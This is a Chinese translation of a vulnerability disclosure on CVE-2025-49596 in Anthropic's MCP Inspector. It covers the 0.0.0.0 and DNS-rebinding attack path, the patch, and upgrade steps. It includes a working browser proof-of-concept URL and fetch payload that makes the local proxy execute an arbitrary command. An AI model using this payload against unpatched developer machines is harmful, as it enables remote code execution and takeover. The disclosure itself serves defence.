AI漏洞 Anthropic MCP Inspector中的关键RCE- CVE-2025-49596

执行摘要

Oligo安全研究团队向Anthropic报告了MCP Inspector项目中存在远程代码执行(RCE)漏洞和DNS重新绑定,导致发布了CVE-2025-49596,其CVSS评分为9.4,属于严重级别。

这是Anthropic的MCP生态系统中首批严重的RCE漏洞之一,暴露了一类针对AI开发工具的新型基于浏览器的攻击。攻击者可以在开发者的机器上执行代码,从而窃取数据、安装后门并在网络中横向移动,这对依赖MCP的AI团队、开源项目和企业采用者构成了严重风险。

当受害者访问恶意网站时,该漏洞允许攻击者在运行官方MCP检查工具的主机上执行任意代码,而该工具在许多用例中默认使用。

MCP Inspector 的star历史

我们要感谢Anthropic及时修复版本0.14.1中的漏洞,并相应地更新了项目的文档。

在本文中,我们将深入探讨MCP工具及其生态系统的安全性,重点关注一个重要的攻击向量:将已知的0.0.0.0-day逻辑缺陷与MCP Inspector中的新漏洞结合,通过浏览器在无需同网络的情况下接管开发者机器。

关于MCP的一些话

模型上下文协议(MCP)是一种通信框架,旨在连接代理和工具,促进实时协作和操作。MCP服务器是API,它们使现实世界系统之间的交互成为可能,这些系统可以在云基础设施或开发人员本地计算机上运行,使用MCP协议。MCP服务器最常用的编程语言是Python和JavaScript,许多开源实现托管在GitHub上,由Anthropic首创,并被2025年几乎所有人使用:从WindowsOpenAI

MCP服务器使用由Anthropic提供的客户端库,它们允许跨各种平台进行交互,建立代理(机器或服务)和工具之间的连接。一种互补的协议称为A2A(Agent to Agent),它将代理彼此连接,增加系统的实用性。在本博客中,我们将重点介绍MCP,它是连接AI代理与其工具的骨干。在MCP之前,类似的观念已经存在一段时间,那就是工具/函数调用(没有服务器部分——直接通过应用程序代码执行)。MCP有助于将这项工作委托给远程服务器。

开发者使用MCP服务器创建安全、高效的通信管道,以集成各种工具和代理。

调试和测试MCP服务器:MCP Inspector

有许多开源的官方MCP服务器实现以及社区维护的MCP服务器。开发者使用Anthropic的官方工具来运行这些服务器。

MCP Inspector 是Anthropic的一个官方工具,它包含两个主要组件协同工作:

  • MCP Inspector客户端(MCPI):一个基于React的Web UI,提供了一个交互式界面用于测试和调试MCP服务器
  • MCP Proxy(MCPP):一个Node.js服务器,充当协议桥接器,通过各种传输方法(stdio, SSE, streamable-http)将Web UI连接到MCP服务器

通过遵循MCP官方文档中提供的快速入门指南,开发者可以轻松启动并运行他们的服务器,从而以无缝的方式执行命令、处理文件和数据流。然而,默认设置暴露了开发者面临的重大安全风险。

‍

开源项目如何使用MCP Inspector

许多开源项目利用MCP来简化代理之间的交互。一个显著的用例是在AI开发中,像MCP Inspector这样的工具可以监控和调试MCP生态系统内的交互。对于希望追踪、调试和优化代理与工具之间通信的开发者来说,这个工具至关重要,但如果配置不当,也可能带来安全风险。

官方Anthropic的MCP Python SDK中的快速入门文档鼓励开发者运行“mcp dev”命令。

当执行[mcp dev命令]时,默认情况下会运行MCP Inspector工具。(https://github.com/search?q=%22mcp+dev+%22&type=code)。它作为一个HTTP服务器运行,监听连接,默认设置中不包括足够的安全措施,如身份验证或加密。这种错误配置创造了一个重大的攻击面,因为任何能够访问本地网络或公共互联网的人都可能与这些服务器互动并加以利用。

此外,它声明应该只在可信网络上运行,例如“localhost”。不应暴露给网络上的其他计算机(并且网页也不应能够通过浏览器与之通信)。

Anthropic对MCP生态系统开发和管理的参与推动了所提供的工具的改进,但也暴露了一些弱点。我们讨论的漏洞——与MCP Inspector中缺少默认授权有关——突显了随着生态系统的发展,提高安全性的重要性。

谁在使用MCP inspector?

微软和谷歌等大型科技公司越来越多地使用与MCP相关的技术,尤其是在AI和基于云的服务领域。然而,困扰开源项目的相同漏洞也是大企业的关注点。

作为确保用户安全的持续努力的一部分,公司必须解决这种开放协议固有的问题。这些组织开始认识到需要包括身份验证、加密和强大的访问控制等安全功能,尽管生态系统仍处于早期成熟阶段。

2025年的0.0.0.0-day:Chromium和Firefox仍未修补

如果攻击者能够利用MCP的热潮来针对MCP开发者呢?这不再是一个理论,而是可能的。

0.0.0.0-day漏洞 是所有主流浏览器中存在的19年漏洞,这源于浏览器标准化的缺乏——尤其是在私有网络请求方面。

该漏洞源于某些浏览器无法正确处理IP地址0.0.0.0,通常认为该地址是安全的,因为它指向本地主机。攻击者可以通过构建恶意网站发送请求到运行在MCP服务器上的本地主机服务,从而获得在开发者机器上执行任意命令的能力。

Oligo Security 在2024年指出过这一漏洞。尽管发现了漏洞并声称正在修复,但截至2025年,该漏洞在主要浏览器中仍然未修补。IP地址0.0.0.0使许多开发者面临风险,直到浏览器遵循的标准(RFC)发布。

多年来,本地主机已被证明容易被滥用,从eBay扫描访客端口
最近的研究称localmess证明Meta和Yandex在2025年使用它来进行用户指纹识别(Web-to-App Tracking)。

CVE-2025-49596 (CVSS评分9.4): CSRF in MCP-Inspector 导致远程代码执行

此漏洞最令人担忧的问题之一是来自公共网站的跨站请求伪造(CSRF)攻击——发起恶意请求,可能导致在MCP开发者/用户机器上执行远程代码——即使它监听在localhost /127.0.0.1上。

我们的有效载荷将使用/sse端点与stdio传输。此端点有一个command查询参数,是我们想要执行的终端命令。然后,我们可以使用args参数将参数传递给该命令,如下所示:

  • http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser

当攻击者可以从公共域JavaScript上下文中构造一个对MCP检查器的请求时。该请求可以在受害者的机器上触发任意命令——有效地控制它。

默认配置暴露MCP服务器给这类攻击的事实意味着许多开发者可能会无意中打开他们机器的后门。

一个使用0.0.0.0作为目标主机的示例攻击载荷如下所示:
‍

<script>
fetch("http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser", {
    "headers": {
        "accept": "*/*",
        "accept-language": "en-US,en;q=0.9", 
        "cache-control": "no-cache",
        "pragma": "no-cache"
    },
    "referrer": "http://127.0.0.1:6274/",
    "referrerPolicy": "strict-origin-when-cross-origin",
    "body": null,
    "method": "GET",
    "mode": "no-cors",
    "credentials": "omit"
})
</script>

面向互联网的服务器

MCP Inspector工具在其响应中具有独特的指纹,这使得攻击者更容易识别。目前,面向互联网的服务器暴露于此类攻击之下。

我们成功识别出暴露在互联网上的MCP Inspector实例,这些实例正面临远程代码执行的即时风险。

攻击者能实现什么?

通过这样做,攻击者可以获得对主机的完全访问权限,以及通过网络连接的所有内容。

实际风险:针对AI开发者和MCP用户

让我们更仔细地看一下一个场景,其中MCP检查器被使用,导致利用链。运行或测试本地MCP服务器的开发者可能会遵循快速入门说明,却未意识到这样做会使他们的主机易受攻击。

例如,恶意攻击者可以创建一篇包含针对MCP服务器的有效载荷的博客文章。一旦开发者访问该页面,恶意JavaScript将向0.0.0.0:6277发送请求,指示MCP Inspector代理执行任意命令。

最终,攻击者获得了开发者的机器的完全访问权限,破坏了其系统的完整性和包含的任何数据,打开了反向shell——这一切都来自一个公开的网页。

演示:使用0.0.0.0的MCP Inspector RCE

在本节中,我们演示了攻击者如何轻松劫持使用默认设置运行的MCP Inspector服务器。通过遵循官方快速入门指南并执行mcp dev命令,我们开放了服务器以进行远程代码执行。

步骤:

  1. 运行命令 uv run mcp dev server.py
  2. 该命令自动在后台运行MCP Inspector代理。服务器正在监听端口6277。
  3. 攻击者将JavaScript有效载荷注入到公共域下的恶意网页中。
  4. JS有效载荷向0.0.0.0:6277发送请求。HTTP包到达服务器,然后执行攻击者控制的命令。
  5. 此外,还展示了相同的攻击可以利用DNS重新绑定,这是另一种攻击向量,通过创建指向0.0.0.0:6277 或 127.0.0.1:6277的恶意DNS记录来实现。

修复方案

我们想感谢Anthropic的安全团队修复了这个问题。‍

MCP Inspector是一个用于测试和调试MCP服务器的开发工具。低于0.14.1版本的MCP Inspector由于Inspector客户端和代理之间缺乏身份验证而容易受到远程代码执行的影响,允许未经身份验证的请求通过stdio启动MCP命令。用户应立即升级到0.14.1或更高版本以解决这些漏洞

此次提交中,Anthropic默认为代理添加了会话令牌。这种方法类似于Jupyter笔记本的做法。会话令牌确保只有经过授权的客户端才能使用检查器——缓解CSRF攻击。

  • 在0.14.1版本之前,没有会话令牌或授权:
~/git/oligo-mcp/ [main*] uv run mcp dev oligo_readonly_server.py
Starting MCP inspector...
⚙️ Proxy server listening on port 6277
🔍 MCP Inspector is up and running at http://127.0.0.1:6274 🚀

‍

在0.14.1版本中,默认使用了会话令牌:

  • ~/git/oligo-mcp/ [main*] uv run mcp dev oligo_readonly_server.py
~/git/oligo-mcp/ [main*] uv run mcp dev oligo_readonly_server.py
Starting MCP inspector...
⚙️ Proxy server listening on 127.0.0.1:6277
🔑 Session token: 03b238d87a33aa56033344589ed2ae01cde3dfd9d396a51548bfc9b6cdfd8299
Use this token to authenticate requests or set DANGEROUSLY_OMIT_AUTH=true to disable auth

🔗 Open inspector with token pre-filled:
   http://localhost:6274/?MCP_PROXY_AUTH_TOKEN=03b238d87a33aa56033344589ed2ae01cde3dfd9d396a51548bfc9b6cdfd8299
   (Auto-open is disabled when authentication is enabled)

🔍 MCP Inspector is up and running at http://127.0.0.1:6274 🚀

这次提交还增加了允许的源验证,这完全缓解了浏览器攻击向量,解决了来自公共网站的可能攻击向量。想象一下阅读一篇关于MCP的博客,结果却被公共网站利用。修复之后,当服务器仅绑定在localhost上时,它将不会接受来自公共网站(非允许的来源)的连接。

此外,安全文档也得到了改进:

负责任的披露时间线

  • 2025年4月18日 - Oligo 报告 向Anthropic报告了漏洞,强调了通过使用0.0.0.0 IP地址从公共网站进行的远程代码执行概念验证,无论是否使用DNS重新绑定(在现代浏览器上)。

    • Anthropic表示另一位研究人员已在2025年3月26日报告了该漏洞,并确认他们正在修复。
  • 2025年6月13日

展望未来 - 我应该恐慌吗?

主要建议是通过启用身份验证并默认检查主机来保护您的MCP Inspector —— 这现在已经是默认行为,在版本0.14.1中。

MCP Inspector经常全局安装在开发者的机器上,但有些项目会管理自己的MCP Inspector安装。我们建议在全局和每个安装它的项目中(在node_modules下)升级Inspector。

请确保您使用的是最新版本的MCP Inspector:

您可以检查当前安装的版本:

~/ npm list -g
├── @modelcontextprotocol/inspector@0.10.0 

修补后的版本是0.14.1。在这种情况下,请升级您的MCP Inspector:

~/ npm install -g "@modelcontextprotocol/inspector@^0.14.1"

结论

本地主机服务可能看起来很安全,但由于浏览器和MCP客户端的网络路由能力,它们常常暴露在公共互联网上。

MCP的官方文档已更新,教育用户防范针对MCP Inspector服务器的0.0.0.0和DNS重新绑定攻击。缓解措施在默认情况下添加了授权,这在修复之前是缺失的,同时还验证了HTTP中的Host和Origin头,确保客户端确实是从已知、受信任的域访问。现在,默认情况下,服务器阻止DNS重新绑定和CSRF攻击。

模型上下文协议是开源项目的一个很好例子,注重安全并关心其用户:

  • MCP InspectorJupyter Notebook 默认配置使用会话令牌包含授权。
  • 相比之下,一些开源项目往往在其文档中突出显示安全警告和免责声明,这将部署安全的责任放在用户身上,并假设用户会阅读文档——这也是为什么存在影子漏洞的原因之一,以及我们在野外捕获的ShadowRay真实世界攻击。

MCP工具生态系统是开源的,仍处于初级阶段,我们对此感到高兴。在它的安全性成熟之前,开发者应谨慎对待它。始终阅读文档。

参考文献

  1. https://en.wikipedia.org/wiki/0.0.0.0#0.0.0.0_day_exploit
  2. https://nvd.nist.gov/vuln/detail/CVE-2025-49596
  3. https://github.com/modelcontextprotocol/inspector
  4. https://github.com/modelcontextprotocol/inspector/commit/50df0e1ec488f3983740b4d28d2a968f12eb8979#diff-c299744f73df4daa7a22854dda2023b68bfc8a5d59d8fb90b3a53b0c2842d807R98-R101
  5. https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-7f8r-222p-6f5g
  6. https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
  7. https://security.snyk.io/vuln/SNYK-UNMANAGED-CHROMIUM-7654159
  8. https://github.com/WebKit/WebKit/pull/29592/files
  9. https://localmess.github.io/
  10. https://www.youtube.com/watch?v=23Mz7qcRz50&ab_channel=Mrgavyadha
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值